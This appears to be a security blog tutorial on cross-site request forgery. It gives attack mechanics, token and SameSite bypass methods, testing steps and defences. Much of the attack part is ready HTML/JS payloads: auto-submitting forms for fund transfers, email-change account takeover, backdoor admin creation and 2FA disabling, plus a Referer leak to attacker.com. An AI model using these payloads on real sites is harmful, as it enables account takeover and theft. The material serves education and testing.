Cross-site request forgery attack exploitation

Cross-Site Request Forgery (CSRF): Exploitation and Defense

CSRF attacks including token bypass techniques, exploitation methods, and modern defense mechanisms for web application security.

Jan 6, 2026
Updated Dec 11, 2025
2 min read

Introduction

Cross-Site Request Forgery (CSRF) forces authenticated users to perform unintended actions on web applications where they're currently authenticated. Unlike XSS which exploits user trust in a website, CSRF exploits the website's trust in the user's browser.

CSRF attacks can change email addresses, transfer funds, modify passwords, or perform any action the victim is authorized to do. The attack succeeds because browsers automatically include credentials (cookies, basic auth) with requests to sites the user has authenticated to.

Attack Mechanics

Basic CSRF Attack Flow

  1. User authenticates to vulnerable-site.com
  2. User visits attacker-site.com (while still logged in)
  3. Attacker's page makes request to vulnerable-site.com
  4. Browser includes authentication cookies automatically
  5. Server processes request as legitimate user action

Prerequisites for CSRF

  • Relevant action: Privileged operation (password change, fund transfer)
  • Cookie-based auth: Session management relies solely on cookies
  • No unpredictable parameters: No CSRF tokens or other defenses

CSRF Exploitation Techniques

GET-Based CSRF

Simplest form, often via image tags or links:

<!-- Auto-submitting via image -->
<img src="https://bank.com/transfer?to=attacker&amount=10000" width="0" height="0">

<!-- Link-based (requires click) -->
<a href="https://bank.com/transfer?to=attacker&amount=10000">Click for prize!</a>

<!-- Multiple requests via images -->
<img src="https://bank.com/transfer?to=attacker&amount=1000">
<img src="https://bank.com/transfer?to=attacker&amount=1000">
<img src="https://bank.com/transfer?to=attacker&amount=1000">

POST-Based CSRF

Using hidden forms with auto-submit:

<html>
  <body onload="document.forms[0].submit()">
    <form action="https://bank.com/transfer" method="POST">
      <input type="hidden" name="to" value="attacker">
      <input type="hidden" name="amount" value="10000">
    </form>
  </body>
</html>

JSON-Based CSRF

When applications expect JSON content type:

<!-- Using form with enctype -->
<form action="https://api.target.com/user/update" method="POST" enctype="text/plain">
  <input name='{"email":"[email protected]","ignore":"' value='"}'>
</form>

<!-- Result: {"email":"[email protected]","ignore":"="} -->

CSRF with XHR (if CORS misconfigured)

<script>
var xhr = new XMLHttpRequest();
xhr.open("POST", "https://api.target.com/transfer", true);
xhr.setRequestHeader("Content-Type", "application/json");
xhr.withCredentials = true;
xhr.send(JSON.stringify({to: "attacker", amount: 10000}));
</script>

Token Bypass Techniques

Removing CSRF Token

Sometimes applications only validate token if present:

<!-- Original request -->
<form action="/transfer" method="POST">
  <input name="csrf_token" value="abc123">
  <input name="amount" value="100">
</form>

<!-- Attack: Simply remove the token -->
<form action="https://target.com/transfer" method="POST">
  <input name="amount" value="100">
</form>

Using Another User's Token

Check if tokens are tied to sessions:

<!-- Use your own valid token in attack -->
<form action="https://target.com/transfer" method="POST">
  <input name="csrf_token" value="YOUR_VALID_TOKEN">
  <input name="amount" value="100">
</form>

Token Leakage via Referer

If token is in URL and leaks via Referer header:

<img src="https://attacker.com/log">
<!-- Referer: https://target.com/page?csrf_token=abc123 -->

Predictable Tokens

Analyze token patterns for predictability:

# Check for:
# - Sequential tokens
# - Timestamp-based tokens
# - Weak PRNG
# - Tokens based on user data (user ID, email hash)

Token Fixation

Pre-set a known token if application allows:

1. Get valid token from your session
2. Somehow inject this token into victim's session
3. Use same token in CSRF attack

Method Override

Some frameworks support method override:

<!-- Override POST to PUT/DELETE -->
<form action="https://target.com/api/user?_method=DELETE" method="POST">
  <input name="id" value="victim">
</form>

<!-- Or via header simulation -->
<form action="https://target.com/api/user" method="POST">
  <input name="_method" value="DELETE">
  <input name="id" value="victim">
</form>

Bypassing SameSite Cookies

SameSite=Lax Bypass

Lax allows GET requests from top-level navigations:

<!-- This works with SameSite=Lax -->
<a href="https://target.com/[email protected]">Click me</a>

<!-- Or via window.open -->
<script>window.open("https://target.com/[email protected]")</script>

Subdomain Attacks

If vulnerable subdomain exists:

1. Find XSS on subdomain.target.com
2. Use XSS to make requests to main target.com
3. Cookies with SameSite may be included (same site)

OAuth/SSO Flows

Authentication flows often have CSRF-like vulnerabilities:

1. Start OAuth flow on attacker site
2. Get authorization code for attacker account
3. Victim clicks link with attacker's auth code
4. Victim's account linked to attacker's external account

Exploitation Scenarios

Account Takeover via Email Change

<html>
<body onload="document.forms[0].submit()">
  <form action="https://target.com/account/email" method="POST">
    <input name="new_email" value="[email protected]">
  </form>
</body>
</html>
<!-- Then use password reset on attacker email -->

Admin User Creation

<form action="https://target.com/admin/users/create" method="POST">
  <input name="username" value="backdoor">
  <input name="password" value="password123">
  <input name="role" value="admin">
</form>

Financial Transactions

<img src="https://bank.com/transfer?to=attacker_account&amount=max" width="0" height="0">

Settings Manipulation

<!-- Disable 2FA -->
<form action="https://target.com/settings/2fa/disable" method="POST">
  <input type="submit" value="Submit">
</form>

<!-- Change password (if no re-auth required) -->
<form action="https://target.com/settings/password" method="POST">
  <input name="new_password" value="hacked123">
  <input name="confirm_password" value="hacked123">
</form>

Detection Methodology

Manual Testing

  1. Identify state-changing endpoints
  2. Analyze request structure (tokens, headers)
  3. Test token validation:
    • Remove token entirely
    • Use empty token
    • Use token from different session
    • Modify token slightly
  4. Test HTTP method alternatives
  5. Check SameSite cookie attributes

Using Burp Suite

1. Capture request in Proxy
2. Right-click → Engagement tools → Generate CSRF PoC
3. Copy HTML to attacker server
4. Test in different browser session

Remediation

CSRF Tokens

# Generate cryptographically secure token
import secrets
csrf_token = secrets.token_hex(32)

# Validate on server
if request.form.get('csrf_token') != session.get('csrf_token'):
    abort(403)

SameSite Cookies

Set-Cookie: session=abc123; SameSite=Strict; Secure; HttpOnly
ValueBehavior
StrictNever sent cross-site
LaxSent on top-level GET navigations
NoneAlways sent (requires Secure)

Custom Headers

For APIs, require custom header that can't be set cross-origin:

// Client
fetch('/api/transfer', {
  headers: { 'X-Requested-With': 'XMLHttpRequest' }
});

// Server validates header presence

Re-authentication for Sensitive Actions

Require password/2FA for:

  • Password changes
  • Email changes
  • Financial transactions
  • Security settings

References

MITRE ATT&CK Techniques

Common Weakness Enumeration

OWASP Resources

Security Resources

Last updated on

Cross-Site Request Forgery (CSRF): Exploitation and Defense | Drake Axelrod